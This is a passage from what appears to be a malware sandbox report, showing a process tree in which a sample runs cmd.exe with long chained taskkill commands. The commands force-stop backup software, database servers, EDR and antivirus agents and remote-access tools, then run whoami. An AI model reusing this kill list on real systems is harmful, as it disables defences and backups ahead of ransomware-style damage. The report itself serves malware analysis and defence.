2345MiniPage.exe /F & @taskkill /IM JMJ_server.exe /F & @taskkill /IM cacls.exe /F & @taskkill /IM gpsdaemon.exe /F & @taskkill /IM gpsusersvr.exe /F & @taskkill /IM gpsdownsvr.exe /F & @taskkill /IM gpsstoragesvr.exe /F & @taskkill /IM gpsdataprocsvr.exe /F & @taskkill /IM gpsftpd.exe /F & @taskkill /IM gpsmysqld.exe /F & @taskkill /IM gpstomcat6.exe /F & @taskkill /IM gpsloginsvr.exe /F & @taskkill /IM gpsmediasvr.exe /F & @taskkill /IM gpsgatewaysvr.exe /F & @taskkill /IM gpssvrctrl.exe /F & @taskkill /IM zabbix_agentd.exe /F"
      4⤵
      System Time Discovery
      PID:3096
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM pg_ctl.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3768
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM rcrelay.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5456
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SogouImeBroker.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CCenter.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5580
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ScanFrm.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM d_manage.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1128
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RsTray.exe /F
        5⤵
        
        PID:5156
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM wampmanager.exe /F
        5⤵
        
        PID:440
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RavTray.exe /F
        5⤵
        
        PID:372
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mssearch.exe /F
        5⤵
        
        PID:7276
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sqlmangr.exe /F
        5⤵
        
        PID:5408
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM msftesql.exe /F
        5⤵
        
        PID:2324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SyncBaseSvr.exe /F
        5⤵
        
        PID:7852
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM oracle.exe /F
        5⤵
        
        PID:5488
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TNSLSNR.exe /F
        5⤵
        
        PID:4240
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SyncBaseConsole.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7008
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM aspnet_state.exe /F
        5⤵
        
        PID:7724
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AutoBackUpEx.exe /F
        5⤵
        
        PID:3476
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM redis-server.exe /F
        5⤵
        
        PID:7320
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MySQLNotifier.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7928
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM oravssw.exe /F
        5⤵
        
        PID:5952
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM fppdis5.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5584
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM His6Service.exe /F
        5⤵
        
        PID:1412
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM dinotify.exe /F
        5⤵
        
        PID:7104
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM JhTask.exe /F
        5⤵
        
        PID:5720
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Executer.exe /F
        5⤵
        
        PID:6360
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AllPassCBHost.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7288
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ap_nginx.exe /F
        5⤵
        
        PID:8692
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AndroidServer.exe /F
        5⤵
        
        PID:6672
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM XT.exe /F
        5⤵
        
        PID:7320
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM XTService.exe /F
        5⤵
        
        PID:5848
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AllPassMCService.exe /F
        5⤵
        
        PID:8992
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM IMEDICTUPDATE.exe /F
        5⤵
        
        PID:6476
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM FlashHelperService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5868
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ap_redis-server.exe /F
        5⤵
        
        PID:7776
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UtilDev.WebServer.Monitor.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5328
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UWS.AppHost.Clr2.x86.exe /F
        5⤵
        Kills process with taskkill
        
        PID:1312
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM FoxitProtect.exe /F
        5⤵
        
        PID:4688
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ftnlses.exe /F
        5⤵
        
        PID:5544
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ftusbrdwks.exe /F
        5⤵
        
        PID:7800
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ftusbrdsrv.exe /F
        5⤵
        
        PID:7464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ftnlsv.exe /F
        5⤵
        
        PID:2252
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Syslogd_Service.exe /F
        5⤵
        
        PID:8392
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UWS.HighPrivilegeUtilities.exe /F
        5⤵
        
        PID:6888
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ftusbsrv.exe /F
        5⤵
        
        PID:5500
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UWS.LowPrivilegeUtilities.exe /F
        5⤵
        
        PID:7804
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F
        5⤵
        Kills process with taskkill
        
        PID:6416
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM winguard_x64.exe /F
        5⤵
        
        PID:5392
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vmconnect.exe /F
        5⤵
        
        PID:8040
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UWS.AppHost.Clr2.x86.exe /F
        5⤵
        
        PID:6520
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM firefox.exe /F
        5⤵
        
        PID:5760
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM usbrdsrv.exe /F
        5⤵
        Kills process with taskkill
        
        PID:6208
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color e & @taskkill /IM BackupExec.exe /F & @taskkill /IM Att.exe /F & @taskkill /IM mdm.exe /F & @taskkill /IM BackupExecManagementService.exe /F & @taskkill /IM bengine.exe /F & @taskkill /IM benetns.exe /F & @taskkill /IM beserver.exe /F & @taskkill /IM pvlsvr.exe /F & @taskkill /IM bedbg.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM beremote.exe /F & @taskkill /IM RemoteAssistProcess.exe /F & @taskkill /IM BarMoniService.exe /F & @taskkill /IM GoodGameSrv.exe /F & @taskkill /IM BarCMService.exe /F & @taskkill /IM TsService.exe /F & @taskkill /IM GoodGame.exe /F & @taskkill /IM BarServerView.exe /F & @taskkill /IM IcafeServicesTray.exe /F & @taskkill /IM BsAgent_0.exe /F & @taskkill /IM ControlServer.exe /F & @taskkill /IM DisklessServer.exe /F & @taskkill /IM DumpServer.exe /F & @taskkill /IM NetDiskServer.exe /F & @taskkill /IM PersonUDisk.exe /F & @taskkill /IM service_agent.exe /F & @taskkill /IM SoftMemory.exe /F & @taskkill /IM BarServer.exe /F & @taskkill /IM RtkNGUI64.exe /F & @taskkill /IM Serv-U-Tray.exe /F & @taskkill /IM QQPCSoftTrayTips.exe /F & @taskkill /IM SohuNews.exe /F & @taskkill /IM Serv-U.exe /F & @taskkill /IM QQPCRTP.exe /F & @taskkill /IM EasyFZS.exe /F & @taskkill /IM HaoYiShi.exe /F & @taskkill /IM HysMySQL.exe /F & @taskkill /IM wtautoreg.exe /F & @taskkill /IM ispiritPro.exe /F & @taskkill /IM CAService.exe /F & @taskkill /IM XAssistant.exe /F & @taskkill /IM TrustCA.exe /F & @taskkill /IM GEUU20003.exe /F & @taskkill /IM CertMgr.exe /F & @taskkill /IM eSafe_monitor.exe /F & @taskkill /IM MainExecute.exe /F & @taskkill /IM FastInvoice.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM sesvc.exe /F & @taskkill /IM ScanFileServer.exe /F & @taskkill /IM Nuoadehgcgcd.exe /F & @taskkill /IM OpenFastAssist.exe /F & @taskkill /IM FastInvoiceAssist.exe /F & @taskkill /IM Nuoadfaggcje.exe /F & @taskkill /IM OfficeUpdate.exe /F & @taskkill /IM atkexComSvc.exe /F & @taskkill /IM FileTransferAgent.exe /F & @taskkill /IM MasterReplicatorAgent.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmAsyncService.exe /F & @taskkill /IM CrmUnzipService.exe /F & @taskkill /IM NscAuthService.exe /F & @taskkill /IM ReplicaReplicatorAgent.exe /F & @taskkill /IM ASMCUSvc.exe /F & @taskkill /IM OcsAppServerHost.exe /F & @taskkill /IM RtcCdr.exe /F & @taskkill /IM IMMCUSvc.exe /F & @taskkill /IM DataMCUSvc.exe /F & @taskkill /IM MeetingMCUSvc.exe /F & @taskkill /IM QmsSvc.exe /F & @taskkill /IM RTCSrv.exe /F & @taskkill /IM pnopagw.exe /F & @taskkill /IM NscAuth.exe /F & @taskkill /IM Microsoft.ActiveDirectory.WebServices.exe /F & @taskkill /IM DistributedCacheService.exe /F & @taskkill /IM c2wtshost.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Calculation.exe /F & @taskkill /IM schedengine.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Eventing.exe /F & @taskkill /IM Microsoft.Office.Project.Server.Queuing.exe /F & @taskkill /IM WSSADMIN.EXE /F & @taskkill /IM hostcontrollerservice.exe /F & @taskkill /IM noderunner.exe /F & @taskkill /IM OWSTIMER.EXE /F & @taskkill /IM wsstracing.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM MySQLInstallerConsole.exe /F & @taskkill /IM EXCEL.EXE /F & @taskkill /IM consent.exe /F & @taskkill /IM RtkAudioService64.exe /F & @taskkill /IM RAVBg64.exe /F & @taskkill /IM FNPLicensingService64.exe /F & @taskkill /IM VisualSVNServer.exe /F & @taskkill /IM MotionBoard57.exe /F & @taskkill /IM MotionBoardRCService57.exe /F & @taskkill /IM LPManService.exe /F & @taskkill /IM RaRegistry.exe /F & @taskkill /IM RaAutoInstSrv.exe /F & @taskkill /IM RtHDVCpl.exe /F & @taskkill /IM DefenderDaemon.exe /F & @taskkill /IM BestSyncApp.exe /F & @taskkill /IM ApUI.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM LPManNotifier.exe /F & @taskkill /IM FieldAnalyst.exe /F & @taskkill /IM TimingGenerate.exe /F & @taskkill /IM Detector.exe /F & @taskkill /IM Estimator.exe /F & @taskkill /IM FA_Logwriter.exe /F & @taskkill /IM TrackingSrv.exe /F & @taskkill /IM cbInterface.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM ccbService.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM dbsrv16.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM KICManager.exe /F & @taskkill /IM KICMain.exe /F & @taskkill /IM ServerManagerLauncher.exe /F & @taskkill /IM TbossGate.exe /F & @taskkill /IM iusb3mon.exe /F & @taskkill /IM MgrEnvSvc.exe /F & @taskkill /IM Mysoft.Config.WindowsService.exe /F & @taskkill /IM Mysoft.UpgradeService.UpdateService.exe /F & @taskkill /IM hasplms.exe /F & @taskkill /IM Mysoft.Setup.InstallService.exe /F & @taskkill /IM Mysoft.UpgradeService.Dispatcher.exe /F & @taskkill /IM Mysoft.DataCenterService.WindowsHost.exe /F & @taskkill /IM Mysoft.DataCenterService.DataCleaning.exe /F & @taskkill /IM Mysoft.DataCenterService.DataTracking.exe /F & @taskkill /IM Mysoft.SchedulingService.WindowsHost.exe /F & @taskkill /IM ServiceMonitor.exe /F & @taskkill /IM Mysoft.SchedulingService.ExecuteEngine.exe /F & @taskkill /IM AgentX.exe /F & @taskkill /IM host.exe /F & @taskkill /IM AutoUpdate.exe /F & @taskkill /IM vsjitdebugger.exe /F"
      4⤵
      PID:1428
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BackupExec.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1144
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Att.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5588
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mdm.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5804
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BackupExecManagementService.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5992
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM bengine.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3300
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM benetns.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5176
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM beserver.exe /F
        5⤵
        
        PID:5760
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM pvlsvr.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5536
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM bedbg.exe /F
        5⤵
        
        PID:9188
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM beremote.exe /F
        5⤵
        
        PID:5440
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM beremote.exe /F
        5⤵
        
        PID:7504
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM beremote.exe /F
        5⤵
        
        PID:6340
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM beremote.exe /F
        5⤵
        
        PID:7776
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RemoteAssistProcess.exe /F
        5⤵
        
        PID:8872
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BarMoniService.exe /F
        5⤵
        
        PID:8436
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GoodGameSrv.exe /F
        5⤵
        
        PID:7616
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BarCMService.exe /F
        5⤵
        
        PID:8048
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TsService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:9128
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GoodGame.exe /F
        5⤵
        
        PID:7380
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BarServerView.exe /F
        5⤵
        
        PID:7092
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM IcafeServicesTray.exe /F
        5⤵
        
        PID:2432
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BsAgent_0.exe /F
        5⤵
        
        PID:6296
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ControlServer.exe /F
        5⤵
        
        PID:4932
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DisklessServer.exe /F
        5⤵
        
        PID:6620
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DumpServer.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2972
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM NetDiskServer.exe /F
        5⤵
        
        PID:3052
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM PersonUDisk.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5996
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM service_agent.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5740
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SoftMemory.exe /F
        5⤵
        
        PID:6580
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM BarServer.exe /F
        5⤵
        
        PID:8916
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RtkNGUI64.exe /F
        5⤵
        
        PID:7548
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Serv-U-Tray.exe /F
        5⤵
        
        PID:5896
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM QQPCSoftTrayTips.exe /F
        5⤵
        
        PID:6920
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SohuNews.exe /F
        5⤵
        
        PID:9056
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Serv-U.exe /F
        5⤵
        
        PID:4616
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM QQPCRTP.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7208
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM EasyFZS.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8632
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM HaoYiShi.exe /F
        5⤵
        
        PID:7176
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM HysMySQL.exe /F
        5⤵
        
        PID:5808
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM wtautoreg.exe /F
        5⤵
        
        PID:6624
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ispiritPro.exe /F
        5⤵
        
        PID:5556
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CAService.exe /F
        5⤵
        
        PID:1496
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM XAssistant.exe /F
        5⤵
        
        PID:7908
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TrustCA.exe /F
        5⤵
        
        PID:7116
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GEUU20003.exe /F
        5⤵
        
        PID:9196
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CertMgr.exe /F
        5⤵
        
        PID:4132
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM eSafe_monitor.exe /F
        5⤵
        
        PID:4844
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MainExecute.exe /F
        5⤵
        
        PID:7620
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM FastInvoice.exe /F
        5⤵
        
        PID:4492
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SoftMgrLite.exe /F
        5⤵
        
        PID:8824
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sesvc.exe /F
        5⤵
        
        PID:5368
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ScanFileServer.exe /F
        5⤵
        
        PID:8828
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color e & @taskkill /IM VBoxSDS.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM TeamViewer_Service.exe /F & @taskkill /IM TeamViewer.exe /F & @taskkill /IM CasLicenceServer.exe /F & @taskkill /IM tv_w32.exe /F & @taskkill /IM tv_x64.exe /F & @taskkill /IM rdm.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM SecureCRTPortable.exe /F & @taskkill /IM VirtualBox.exe /F & @taskkill /IM VBoxSVC.exe /F & @taskkill /IM VirtualBoxVM.exe /F & @taskkill /IM abs_deployer.exe /F & @taskkill /IM edr_monitor.exe /F & @taskkill /IM sfupdatemgr.exe /F & @taskkill /IM ipc_proxy.exe /F & @taskkill /IM edr_agent.exe /F & @taskkill /IM edr_sec_plan.exe /F & @taskkill /IM sfavsvc.exe /F & @taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F & @taskkill /IM DataShareBox.ShareBoxService.exe /F & @taskkill /IM Jointsky.CloudExchangeService.exe /F & @taskkill /IM Jointsky.CloudExchange.NodeService.ein /F & @taskkill /IM perl.exe /F & @taskkill /IM java.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM TsServer.exe /F & @taskkill /IM AppMain.exe /F & @taskkill /IM easservice.exe /F & @taskkill /IM Kingdee6.1.exe /F & @taskkill /IM QyKernel.exe /F & @taskkill /IM QyFragment.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM ComputerZTray.exe /F & @taskkill /IM ComputerZService.exe /F & @taskkill /IM ClearCache.exe /F & @taskkill /IM ProLiantMonitor.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM bugreport.exe /F & @taskkill /IM GNWebServer.exe /F & @taskkill /IM UI0Detect.exe /F & @taskkill /IM GNCore.exe /F & @taskkill /IM gnwayDDNS.exe /F & @taskkill /IM GNWebHelper.exe /F & @taskkill /IM php-cgi.exe /F & @taskkill /IM ESLUSBService.exe /F & @taskkill /IM CQA.exe /F & @taskkill /IM Kekcoek.pif /F & @taskkill /IM Tinuknx.exe /F & @taskkill /IM servers.exe /F & @taskkill /IM ping.exe /F & @taskkill /IM TianHeng.exe /F & @taskkill /IM K3MobileService.exe /F & @taskkill /IM VSSVC.exe /F & @taskkill /IM Xshell.exe /F & @taskkill /IM XshellCore.exe /F & @taskkill /IM FNPLicensingService.exe /F & @taskkill /IM XYNTService.exe /F & @taskkill /IM U8DispatchService.exe /F & @taskkill /IM EISService.exe /F & @taskkill /IM UFSoft.U8.Framework.EncryptManager.exe /F & @taskkill /IM yonyou.u8.gc.taskmanager.servicebus.exe /F & @taskkill /IM U8KeyManagePool.exe /F & @taskkill /IM U8MPool.exe /F & @taskkill /IM U8SCMPool.exe /F & @taskkill /IM UFIDA.U8.Report.SLReportService.exe /F & @taskkill /IM U8TaskService.exe /F & @taskkill /IM U8TaskWorker.exe /F & @taskkill /IM U8WebPool.exe /F & @taskkill /IM U8AllAuthServer.exe /F & @taskkill /IM UFIDA.U8.UAP.ReportService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.Services.exe /F & @taskkill /IM U8WorkerService.exe /F & @taskkill /IM UFIDA.U8.ECE.UTU.exe /F & @taskkill /IM ShellStub.exe /F & @taskkill /IM U8UpLoadTask.exe /F & @taskkill /IM UfSysHostingService.exe /F & @taskkill /IM UFIDA.UBF.SystemManage.ApplicationService.exe /F & @taskkill /IM UFIDA.U9.CS.Collaboration.MailService.exe /F & @taskkill /IM NotificationService.exe /F & @taskkill /IM UBFdevenv.exe /F & @taskkill /IM UFIDA.U9.SystemManage.SystemManagerClient.exe /F & @taskkill /IM mongod.exe /F & @taskkill /IM SpusCss.exe /F & @taskkill /IM UUDesktop.exe /F & @taskkill /IM KDHRServices.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.Mobile.Servics.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM KDSvrMgrService.exe /F & @taskkill /IM pdfServer.exe /F & @taskkill /IM pdfspeedup.exe /F & @taskkill /IM SufAppServer.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.K3.Mobile.LightPushService.exe /F & @taskkill /IM iMTSSvcMgr.exe /F & @taskkill /IM kdmain.exe /F & @taskkill /IM KDActMGr.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM K3ServiceUpdater.exe /F & @taskkill /IM Aua.exe /F & @taskkill /IM iNethinkSQLBackup.exe /F & @taskkill /IM auaJW.exe /F & @taskkill /IM Scheduler.exe /F & @taskkill /IM bschJW.exe /F & @taskkill /IM SystemTray64.exe /F & @taskkill /IM OfficeDaemon.exe /F & @taskkill /IM OfficeIndex.exe /F & @taskkill /IM OfficeIm.exe /F & @taskkill /IM iNethinkSQLBackupConsole.exe /F & @taskkill /IM OfficeMail.exe /F & @taskkill /IM OfficeTask.exe /F & @taskkill /IM OfficePOP3.exe /F & @taskkill /IM apache.exe /F & @taskkill /IM GnHostService.exe /F /T & @taskkill /IM HwUVPUpgrade.exe /F /T & @taskkill /IM "Kingdee.KIS.UESystemSer.exe" /F /T & @taskkill /IM uvpmonitor.exe /F /T & @taskkill /IM UVPUpgradeService.exe /F /T & @taskkill /IM KDdataUpdate.exe /F /T & @taskkill /IM Portal.exe /F /T & @taskkill /IM U8SMSSrv.exe /F /T & @taskkill /IM "Ufida.T.SM.PublishService.exe" /F /T & @taskkill /IM lta8.exe /F /T & @taskkill /IM UfSvrMgr.exe /F /T & @taskkill /IM AutoUpdateService.exe /F /T & @taskkill /IM MOM.exe /F /T & whoami"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:4072
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM VBoxSDS.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:996
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mysqld.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5512
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TeamViewer_Service.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5956
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TeamViewer.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5844
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM CasLicenceServer.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5124
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM tv_w32.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5420
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM tv_x64.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5416
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM rdm.exe /F
        5⤵
        Kills process with taskkill
        
        PID:5316
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SecureCRT.exe /F
        5⤵
        
        PID:5732
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SecureCRTPortable.exe /F
        5⤵
        
        PID:6324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM VirtualBox.exe /F
        5⤵
        
        PID:4404
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM VBoxSVC.exe /F
        5⤵
        
        PID:5780
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM VirtualBoxVM.exe /F
        5⤵
        
        PID:7820
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM abs_deployer.exe /F
        5⤵
        
        PID:4168
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM edr_monitor.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7360
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sfupdatemgr.exe /F
        5⤵
        
        PID:8756
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ipc_proxy.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7076
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM edr_agent.exe /F
        5⤵
        
        PID:9016
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM edr_sec_plan.exe /F
        5⤵
        
        PID:4900
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sfavsvc.exe /F
        5⤵
        
        PID:8348
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DataShareBox.ShareBoxMonitorService.exe /F
        5⤵
        
        PID:5212
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DataShareBox.ShareBoxService.exe /F
        5⤵
        
        PID:6308
    - - C:\Windows\SysWOW64\taskkill.exe
        
